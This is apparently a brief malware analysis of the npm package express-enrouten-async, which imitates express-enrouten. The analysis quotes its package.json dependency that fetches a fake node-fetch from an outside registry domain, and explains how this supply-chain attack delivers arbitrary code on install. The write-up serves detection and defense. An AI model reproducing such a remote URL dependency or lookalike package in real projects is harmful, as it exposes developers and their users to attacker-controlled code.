express-enrouten-async@1.4.11

Package name mimics the legitimate `express-enrouten` route-discovery library, but the shipped `index.js` only hardcodes two demo routes rather than implementing automatic route discovery. The malicious mechanism is in `package.json`, which declares `"node-fetch": "https://registry.ctzbg.com/express-enrouten-async/node-fetch"` — a direct URL dependency pointing at a third-party, non-npm registry under a path namespaced to this package. On `npm install`, npm fetches and installs whatever tarball that URL serves as the installer's `node-fetch`, so any code requiring `node-fetch` in the host application loads attacker-controlled, unpinned, mutable bytes from a non-publisher domain. This is dependency-confusion-style supply-chain attack: the lookalike package name lures the install, and the URL-pinned fake `node-fetch` is the delivery vehicle for arbitrary code into the installer's dependency tree.